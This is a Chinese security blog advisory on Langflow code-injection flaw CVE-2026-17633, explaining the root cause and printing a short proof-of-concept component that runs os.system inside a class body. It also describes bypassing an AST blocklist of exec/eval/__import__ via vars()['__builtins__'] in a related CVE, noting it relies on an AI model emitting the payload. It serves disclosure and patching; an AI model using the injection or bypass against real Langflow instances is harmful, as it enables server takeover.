文章总结: LangflowOSS1.0.0至1.10.3版本存在认证后代码注入漏洞CVE-2026-17633,攻击者可通过自定义组件接口提交恶意代码实现远程命令执行,POC已公开。漏洞源于代码未做安全检查。建议立即升级至1.11.0及以上版本,并关注相关漏洞预警信息。
综合评分: 85
文章分类: 漏洞分析,代码审计,漏洞预警
Langflow爆出代码执行漏洞CVE-2026-17633 (POC已公开)
YGnight
YGnight
night安全
2026年9月17日 08:00
四川
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
01漏洞描述
收到langflow存在一个代码注入从而导致命令执行的漏洞,Langflow简单来说就是一款面向开发者的开源低代码工具,是基于Python开发的,漏洞的产生是Langflow 留了一个自定义组件的入口,本来是用来让用户把自己写的模块传上去,页面就能多出一个功能块。
1.10.3 和更早的版本收到这份代码是不看内容的,会直接执行。只要有一个登录的账号就能提交,命令在服务端就会跑起来。
| | |
| — | — |
| CVE 编号 | CVE-2026-17633 |
| 漏洞类型 | 代码注入 CWE-94 / 认证后远程代码执行 |
| 受影响版本 | Langflow OSS 1.0.0 至 1.10.3 |
| 修复版本 | Langflow OSS 1.11.0 及以上 |
| 危害评级 | CVSS 8.5 / 8.8 |
| 攻击入口 | POST /api/v1/custom_component |
| 利用前提 | 一个已登录的账号,实例开启 LANGFLOW_ALLOW_CUSTOM_COMPONENTS |
02漏洞原理
这个漏洞接口实现放在 langflow/api/v1/endpoints.py 里的。请求进来后会先取配置,判断 allow_custom_components 等自定义组件的开关状态。
提交的代码是原样往下传的,整段函数里看不到任何内容检查的步骤。
langflow/api/v1/endpoints.py,v1.10.3
if not settings.allow_custom_components and not code_hash_matches_any_template( raw_code.code, all_known):
raise HTTPException(status_code=403, detail=”Custom component creation is disabled”)
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template( component, user_id=user.id)
代码往下走进 lfx/custom/validate.py 的 create_class。它先把提交的内容解析成语法树,调 prepare_global_scope 准备执行环境,再抽出目标类单独编译。
prepare_global_scope 扫顶层节点时只收三类内容,import、类与函数定义、赋值语句。
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom) and node.module is not None:
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
写在最外层的 os.system(…) 是 ast.Expr,三种都不匹配,会被跳过
这个筛选带来一个差别。命令写在模块最外层,类型是表达式语句,落不进上面任何一类,走完就被丢掉。写在类体里的语句跟着类一起被抽出编译,类定义完成的那一刻跑完。
公开 PoC 的构造思路就是把命令放到类的第一行,其余字段都照抄正常组件的写法,服务端收到代码后看起来就会像在处理一个普通组件。
from lfx.custom import Component
import os
class PocComponent(Component):
os.system(“id > /tmp/pwned.txt”) # 类定义时就执行
display_name = “Utility”
description = “Utility component.”
outputs = [Output(name=”result”, display_name=”Result”, method=”get_result”)]
请求原本是带 Bearer 令牌的,数据包的Body 里只有 code 字段。服务端返回 200,命令已经在服务进程里跑完,回显数据包里看不出任何异常的。
同一个仓库还带了 CVE-2026-17632 的分析。另一条链路上装了基于语法树的扫描,禁用名单列了 exec、eval、compile、__import__、open,里面没有 vars。
写成 vars()[“__builtins__”] 这种下标取法,绕开了对属性名的检查,扫描结果 is_safe 为 True。这条路要靠模型原样吐出载荷,云端模型多数会拒。
03修复建议
升级到Langflow OSS 1.11.0就行
近期值得重点关注的漏洞预警
【紧急漏洞预警】nacos爆出权限绕过漏洞,可以创建管理员账户,经过分析有点出处(已复现,exp脚本已编写)
Apache CVE-2026-42536,补它只用一行,洞龄十四年
【紧急】搜狗输入法爆出远程代码执行漏洞CVE-2026-51990 ,已被在野利用
【紧急】无需登录就能获取 GitLab 的任意文件数据(附POC)
【紧急】JumpServer堡垒机被公布Access Key泄露漏洞,可以实现提权
Spring Cloud Azure公布严重漏洞 无需任何权限即可取得登录会话
【漏洞POC已公开】Linux RDS 爆出提权漏洞 一块内存放两次,root就到手了
13 行补丁,堵住Linux能拿 root 的内核洞(EXP已公开)
48 字节,换走一台 Windows 的 SYSTEM(CVE-2026-62735漏洞POC已公开)
【漏洞预警】linux删个网桥就能提权root?目前没有补丁(POC已公开)
【漏洞预警】自己注册个号,就能搬空别人的 Magento 订单和支付卡(POC已公开)
【漏洞预警】Next.js 爆出新漏洞,不用登录实现命令执行(POC已公开)
【漏洞补丁绕过预警】Redis CVE-2026-23479变种高危漏洞,EXP已公开
【漏洞补丁绕过】超 30 万 WordPress 站点受影响,Forminator 文件上传漏洞(附POC)
【漏洞预警】Exchange爆出RCE漏洞,利用Exchange 帮另一台 Exchange 开门(POC已公开)
【漏洞预警】不用登录,一个请求就能让 GeoServer 乖乖执行命令(POC已公开)
【漏洞预警】Keycloak不登录就能接管任意账户,双重验证也拦不住
【漏洞预警】 8月WebLogic公布了9个漏洞,有一个需要重点关注
【漏洞预警】近期MongoDB 公布了5个漏洞,最严重的一个可以不认证、远程就能拿下你电脑
【0DAY漏洞】 全球5G手机芯片厂商之一的紫光展锐SOC存在RCE漏洞,影响数十家手机厂商,还未发布补丁
【漏洞告警】安卓 14 到 16 全中招,通讯录 SQL 注入漏洞正在抄家(POC已公开)
【漏洞预警】不用输密码,对方已经接管你的Mac:官方补丁公布macOS存在未鉴权RCE漏洞
【0day漏洞预警】MariaDB 13 爆 9.8 分 RCE 链:最低 USAGE 权限就能远程执行命令
VMware 爆 5 个洞,两个 9.8 不用密码就能打穿 vCente
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:night安全 YGnight
YGnight《Langflow爆出代码执行漏洞CVE-2026-17633 (POC已公开)》